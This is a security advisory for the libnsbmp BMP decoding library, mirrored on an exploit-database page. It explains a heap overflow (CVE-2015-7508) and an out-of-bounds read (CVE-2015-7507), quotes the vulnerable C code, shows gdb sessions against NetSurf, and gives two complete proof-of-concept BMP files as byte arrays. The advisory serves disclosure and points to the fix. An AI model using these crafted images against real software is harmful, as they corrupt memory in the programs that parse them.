| Reporter | Title | Published | Views | Family All 18 |
|---|---|---|---|---|
| Libnsbmp Buffer Overflow Vulnerability | 17 Feb 202000:00 | – | cnvd | |
| Libnsbmp buffer overflow vulnerability (CNVD-2020-33732) | 9 Mar 202000:00 | – | cnvd | |
| CVE-2015-7507 | 18 Feb 202018:03 | – | cve | |
| CVE-2015-7508 | 12 Feb 202002:37 | – | cve | |
| CVE-2015-7507 | 18 Feb 202018:03 | – | cvelist | |
| CVE-2015-7508 | 12 Feb 202002:37 | – | cvelist | |
| CVE-2015-7507 | 18 Feb 202018:03 | – | debiancve | |
| CVE-2015-7508 | 12 Feb 202002:37 | – | debiancve | |
| EUVD-2015-7428 | 7 Oct 202500:30 | – | euvd | |
| EUVD-2015-7429 | 7 Oct 202500:30 | – | euvd |
Overview
========
Libnsbmp[1] is a decoding library for BMP and ICO files. It is
primarily developed and used as part of the NetSurf project.
As of version 0.1.2, libnsbmp is vulnerable to a heap overflow
(CVE-2015-7508) and an out-of-bounds read (CVE-2015-7507).
CVE-2015-7508
=============
libnsbmp expects that the user-supplied `bmp_bitmap_cb_create' callback
allocates enough memory to accommodate for `bmp->width * bmp->height *
4' bytes. However, due to the way `pixels_left' is calculated, the last
row of run-length encoded data may expand beyond the end of
`bmp->bitmap', resulting in a heap overflow.
src/libnsbmp.c #951..1097:
,----
| static bmp_result bmp_decode_rle(bmp_image *bmp, uint8_t *data, int bytes, int size) {
| [...]
| swidth = bmp->bitmap_callbacks.bitmap_get_bpp(bmp->bitmap) * bmp->width;
| top = bmp->bitmap_callbacks.bitmap_get_buffer(bmp->bitmap);
| [...]
| do {
| [...]
| length = *data++;
| if (length == 0) {
| [...]
| /* 00 - NN means escape NN pixels */
| if (bmp->reversed) {
| pixels_left = (y + 1) * bmp->width - x;
| scanline = (void *)(top + (y * swidth));
| } else {
| pixels_left = (bmp->height - y + 1) * bmp->width - x;
| scanline = (void *)(bottom - (y * swidth));
| }
| if (length > pixels_left)
| length = pixels_left;
| if (data + length > end)
| return BMP_INSUFFICIENT_DATA;
| [...]
| } else {
| /* NN means perform RLE for NN pixels */
| if (bmp->reversed) {
| pixels_left = (y + 1) * bmp->width - x;
| scanline = (void *)(top + (y * swidth));
| } else {
| pixels_left = (bmp->height - y + 1) * bmp->width - x;
| scanline = (void *)(bottom - (y * swidth));
| }
| if (length > pixels_left)
| length = pixels_left;
| [...]
| pixel2 = *data++;
| pixel = bmp->colour_table[pixel2 >> 4];
| pixel2 = bmp->colour_table[pixel2 & 0xf];
| for (i = 0; i < length; i++) {
| if (x >= bmp->width) {
| x = 0;
| if (++y > bmp->height)
| return BMP_DATA_ERROR;
| scanline -= bmp->width;
| }
| if ((i & 1) == 0)
| scanline[x++] = pixel;
| else
| scanline[x++] = pixel2;
| }
| }
| }
| } while (data < end);
| [...]
| }
`----
Using NetSurf as an example:
,----
| ~/netsurf-all-3.3/netsurf$ gdb -x heap.py --args ./nsgtk heap.bmp
| [...]
| heap overfow: pix: 0xff999999 ptr: 0x7fffe29fefed, end of buf: 0x7fffe29fefec (+1)
| heap overfow: pix: 0xff999999 ptr: 0x7fffe29fefef, end of buf: 0x7fffe29fefec (+3)
| heap overfow: pix: 0xff999999 ptr: 0x7fffe29feff1, end of buf: 0x7fffe29fefec (+5)
|
| Program received signal SIGSEGV, Segmentation fault.
| 0x00000000005183e4 in bmp_decode_rle (bmp=0xda9ff0, data=0xdb9e24 'A' <repeats 23 times>, bytes=157, size=4) at src/libnsbmp.c:1091
| 1091 scanline[x++] = pixel2;
| (gdb)
`----
heap.py:
,----
| class Breakpoint(gdb.Breakpoint):
| def stop(self):
| top = get_hex("top")
| width = get_hex("bmp->width")
| height = get_hex("bmp->height")
| bpp = get_hex("bmp->bpp")
| x = get_hex("x")
| scanline = get_hex("scanline")
| pixel2 = get_hex("pixel2")
|
| cur = scanline + x
| end = top + width * height * bpp
| if cur > end:
| print("heap overfow: pix: 0x%x ptr: 0x%x, end of buf: 0x%x (+%d)" %
| (pixel2, cur, end, cur - end))
| return False
|
| def get_hex(arg):
| res = gdb.execute("print/x %s" % arg, to_string=True)
| x = res.split(" ")[-1].strip()
| return int(x, 16)
|
| Breakpoint("netsurf-all-3.3/libnsbmp/src/libnsbmp.c:1091")
|
| gdb.execute("run")
`----
heap.bmp:
,----
| unsigned char heap[] = {
| /* bmp_analyse() */
| 0x42, 0x4d, /* BM */
| 0x41, 0x00, 0x00, 0x40, /* bmp size */
| 0x00, 0x00, /* reserved */
| 0x00, 0x00, /* reserved */
| 0x00, 0x00, 0x00, 0x00, /* bmp->bitmap_offset */
|
| /* bmp_analyse_header() */
| 0x6c, 0x00, 0x00, 0x00, /* header_size */
| 0xff, 0x7f, 0x00, 0x00, /* width */
| 0xf7, 0xff, 0xff, 0xff, /* height */
| 0x01, 0x00, /* colour planes */
| 0x04, 0x00, /* bmp->bpp */
| 0x02, 0x00, 0x00, 0x00, /* bmp->encoding */
| 0x04, 0x00, 0x00, 0x00, /* size of bitmap */
| 0x41, 0x41, 0x00, 0x00, /* horizontal resolution */
| 0x41, 0x41, 0x00, 0x00, /* vertical resolution */
| 0x01, 0x00, 0x00, 0x00, /* bmp->colours */
| 0x00, 0x00, 0x00, 0x00, /* number of important colours */
| 0x41, 0x41, 0x41, 0x41, /* mask identifying bits of red component */
| 0x00, 0x00, 0x00, 0x00, /* mask identifying bits of green component */
| 0x00, 0x00, 0x00, 0x00, /* mask identifying bits of blue component */
|
| /*
| * NOTE: the first two bytes of the alpha mask are used in the
| * expansion of the last "line".
| *
| * 0xff = the number of bytes to expand,
| * 0x00 = the pixel which, combined with a bitwise AND against 0xf,
| * is used to dereference a (potentially) suiting "real"
| * pixel in bmp->colour_table. Since bmp->colours is
| * specified as 1, we want this to be 0. No bounds checking
| * is done and as such libnsbmp may be induced to read from
| * bmp->colour_table[out_of_bounds_index] (CVE-2015-7507)
| */
| 0xff, 0x00, 0x41, 0x41, /* mask identifying bits of alpha component */
|
| 0x41, 0x41, 0x41, 0x41, /* color space type */
| 0x41, 0x41, 0x41, 0x41, /* x coordinate of red endpoint */
| 0x41, 0x41, 0x41, 0x41, /* y coordinate of red endpoint */
| 0x41, 0x41, 0x41, 0x41, /* z coordinate of red endpoint */
| 0x41, 0x41, 0x41, 0x41, /* x coordinate of green endpoint */
| 0x41, 0x00, 0x41, 0x41, /* y coordinate of green endpoint */
| 0x41, 0x41, 0x41, 0x41, /* z coordinate of green endpoint */
| 0x41, 0x41, 0x41, 0x41, /* x coordinate of blue endpoint */
| 0x41, 0x41, 0x41, 0x41, /* y coordinate of blue endpoint */
| 0x41, 0x41, 0x41, 0x41, /* z coordinate of blue endpoint */
| 0x41, 0x41, 0x41, 0x41, /* gamma red coordinate scale value */
| 0x41, 0x41, 0x41, 0x41, /* gamma green coordinate scale value */
| 0x41, 0x41, 0x41, 0x41, /* gamma blue coordinate scale value */
|
| /*
| * NOTE: this is what will be expanded on the last "line"
| */
| 0x99, 0x99, 0x99, /* bmp->colour_table[0] */
|
| 0x41, 0x41, 0x41, 0x41,
| 0x41, 0x41, 0x41, 0x41,
| 0x41, 0x41, 0x41, 0x41,
| 0x41, 0x41, 0x41, 0x41,
| 0x41, 0x41, 0x41, 0x41,
| 0x41, 0x41, 0x41, 0x41,
| 0x41, 0x41, 0x41, 0x41,
| 0x41, 0x41, 0x41, 0x41,
| };
`----
CVE-2015-7507
=============
An out-of-bounds read may occur in libnsbmp due to a lack of boundary
checking before dereferencing `bmp->colour_table' in `bmp_decode_rgb()'
and `bmp_decode_rle()' with an index based on a user-supplied value.
src/libnsbmp.c #306..558:
,----
| static bmp_result bmp_analyse_header(bmp_image *bmp, uint8_t *data) {
| [...]
| header_size = read_uint32(data, 0);
| [...]
| if (header_size == 12) {
| [...]
| bmp->bpp = read_uint16(data, 10);
| /**
| * The bpp value should be in the range 1-32, but the only
| * values considered legal are:
| * RGB ENCODING: 1, 4, 8, 16, 24 and 32
| */
| if ((bmp->bpp != 1) && (bmp->bpp != 4) &&
| (bmp->bpp != 8) &&
| (bmp->bpp != 16) &&
| (bmp->bpp != 24) &&
| (bmp->bpp != 32))
| return BMP_DATA_ERROR;
| bmp->colours = (1 << bmp->bpp);
| palette_size = 3;
| } else if (header_size < 40) {
| return BMP_DATA_ERROR;
| } else {
| [...]
| bmp->colours = read_uint32(data, 32);
| if (bmp->colours == 0)
| bmp->colours = (1 << bmp->bpp);
| palette_size = 4;
| }
| [...]
| if (bmp->bpp < 16) {
| [...]
| /* create the colour table */
| bmp->colour_table = (uint32_t *)malloc(bmp->colours * 4);
| if (!bmp->colour_table)
| return BMP_INSUFFICIENT_MEMORY;
| for (i = 0; i < bmp->colours; i++) {
| bmp->colour_table[i] = data[2] | (data[1] << 8) | (data[0] << 16);
| if (bmp->opaque)
| bmp->colour_table[i] |= (0xff << 24);
| data += palette_size;
| bmp->colour_table[i] = read_uint32((uint8_t *)&bmp->colour_table[i],0);
| }
| }
| [...]
| }
`----
src/libnsbmp.c #951..1097:
,----
| static bmp_result bmp_decode_rle(bmp_image *bmp, uint8_t *data, int bytes, int size) {
| [...]
| do {
| [...]
| length = *data++;
| if (length == 0) {
| [...]
| } else {
| /* 00 - NN means escape NN pixels */
| [...]
| if (size == 8) {
| [...]
| scanline[x++] = bmp->colour_table[(int)*data++];
| }
| } else {
| [...]
| if ((i & 1) == 0) {
| pixel = *data++;
| scanline[x++] = bmp->colour_table
| [pixel >> 4];
| } else {
| scanline[x++] = bmp->colour_table
| [pixel & 0xf];
| }
| }
| [...]
| }
| } else {
| /* NN means perform RLE for NN pixels */
| [...]
| if (size == 8) {
| pixel = bmp->colour_table[(int)*data++];
| [...]
| } else {
| pixel2 = *data++;
| pixel = bmp->colour_table[pixel2 >> 4];
| pixel2 = bmp->colour_table[pixel2 & 0xf];
| [...]
| }
| }
| }
| } while (data < end);
| [...]
| }
`----
src/libnsbmp.c #844..893:
,----
| static bmp_result bmp_decode_rgb(bmp_image *bmp, uint8_t **start, int bytes) {
| [...]
| uint8_t bit_shifts[8];
| uint8_t ppb = 8 / bmp->bpp;
| uint8_t bit_mask = (1 << bmp->bpp) - 1;
| uint8_t cur_byte = 0, bit, i;
|
| for (i = 0; i < ppb; i++)
| bit_shifts[i] = 8 - ((i + 1) * bmp->bpp);
| [...]
| /* Determine transparent index */
| if (bmp->limited_trans)
| bmp->transparent_index = bmp->colour_table[(*data >> bit_shifts[0]) & bit_mask];
|
| for (y = 0; y < bmp->height; y++) {
| [...]
| for (x = 0; x < bmp->width; x++) {
| if (bit >= ppb) {
| bit = 0;
| cur_byte = *data++;
| }
| scanline[x] = bmp->colour_table[(cur_byte >> bit_shifts[bit++]) & bit_mask];
| [...]
| }
| }
| *start = data;
| return BMP_OK;
| }
`----
Another NetSurf example:
,----
| ~/netsurf-all-3.3/netsurf$ gdb --args ./nsgtk oob.bmp
| [...]
| (gdb) b netsurf-all-3.3/libnsbmp/src/libnsbmp.c:531
| Breakpoint 1 at 0x516a3e: file src/libnsbmp.c, line 531.
| (gdb) b netsurf-all-3.3/libnsbmp/src/libnsbmp.c:869
| Breakpoint 2 at 0x5179bb: file src/libnsbmp.c, line 869.
| (gdb) b netsurf-all-3.3/libnsbmp/src/libnsbmp.c:886
| Breakpoint 3 at 0x517aab: file src/libnsbmp.c, line 886.
| (gdb) r
| [...]
| Breakpoint 1, bmp_analyse_header (bmp=0xdadc90, data=0xdb9e6a "\377\377\377") at src/libnsbmp.c:531
| 531 bmp->colour_table = (uint32_t *)malloc(bmp->colours * 4);
| (gdb) p bmp->colours * 4
| $1 = 4
| (gdb) c
| [...]
| Breakpoint 3, bmp_decode_rgb (bmp=0xdadc90, start=0x7fffffffbff0, bytes=4) at src/libnsbmp.c:886
| 886 scanline[x] = bmp->colour_table[(cur_byte >> bit_shifts[bit++]) & bit_mask];
| (gdb) p (cur_byte >> bit_shifts[bit++]) & bit_mask
| $2 = 255
| (gdb)
`----
oob.bmp:
,----
| unsigned char bmp[] = {
| /* bmp_analyse() */
| 0x42, 0x4d, /* BM */
| 0x7e, 0x00, 0x00, 0x00, /* bmp size */
| 0x00, 0x00, /* reserved */
| 0x00, 0x00, /* reserved */
| 0x7a, 0x00, 0x00, 0x00, /* bmp->bitmap_offset */
|
| /* bmp_analyse_header() */
| 0x6c, 0x00, 0x00, 0x00, /* header_size */
| 0x01, 0x00, 0x00, 0x00, /* width */
| 0x01, 0x00, 0x00, 0x00, /* height */
| 0x01, 0x00, /* colour planes */
| 0x08, 0x00, /* bmp->bpp */
| 0x00, 0x00, 0x00, 0x00, /* bmp->encoding */
| 0x00, 0x00, 0x00, 0x00, /* size of bitmap */
| 0x00, 0x00, 0x00, 0x00, /* horizontal resolution */
| 0x00, 0x00, 0x00, 0x00, /* vertical resolution */
| 0x01, 0x00, 0x00, 0x00, /* bmp->colours */
| 0x00, 0x00, 0x00, 0x00, /* number of important colours */
| 0x00, 0x00, 0x00, 0x00, /* mask identifying bits of red component */
| 0x00, 0x00, 0x00, 0x00, /* mask identifying bits of green component */
| 0x00, 0x00, 0x00, 0x00, /* mask identifying bits of blue component */
| 0x00, 0x00, 0x00, 0x00, /* mask identifying bits of alpha component */
| 0x00, 0x00, 0x00, 0x00, /* color space type */
| 0x00, 0x00, 0x00, 0x00, /* x coordinate of red endpoint */
| 0x00, 0x00, 0x00, 0x00, /* y coordinate of red endpoint */
| 0x00, 0x00, 0x00, 0x00, /* z coordinate of red endpoint */
| 0x00, 0x00, 0x00, 0x00, /* x coordinate of green endpoint */
| 0x00, 0x00, 0x00, 0x00, /* y coordinate of green endpoint */
| 0x00, 0x00, 0x00, 0x00, /* z coordinate of green endpoint */
| 0x00, 0x00, 0x00, 0x00, /* x coordinate of blue endpoint */
| 0x00, 0x00, 0x00, 0x00, /* y coordinate of blue endpoint */
| 0x00, 0x00, 0x00, 0x00, /* z coordinate of blue endpoint */
| 0x00, 0x00, 0x00, 0x00, /* gamma red coordinate scale value */
| 0x00, 0x00, 0x00, 0x00, /* gamma green coordinate scale value */
| 0x00, 0x00, 0x00, 0x00, /* gamma blue coordinate scale value */
| 0xff, 0xff, 0xff, 0x00 /* bmp->colour_table[0] */
| };
`----
Solution
========
Both vulnerabilities are fixed in git HEAD[2].
# 0day.today [2018-03-06] #Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation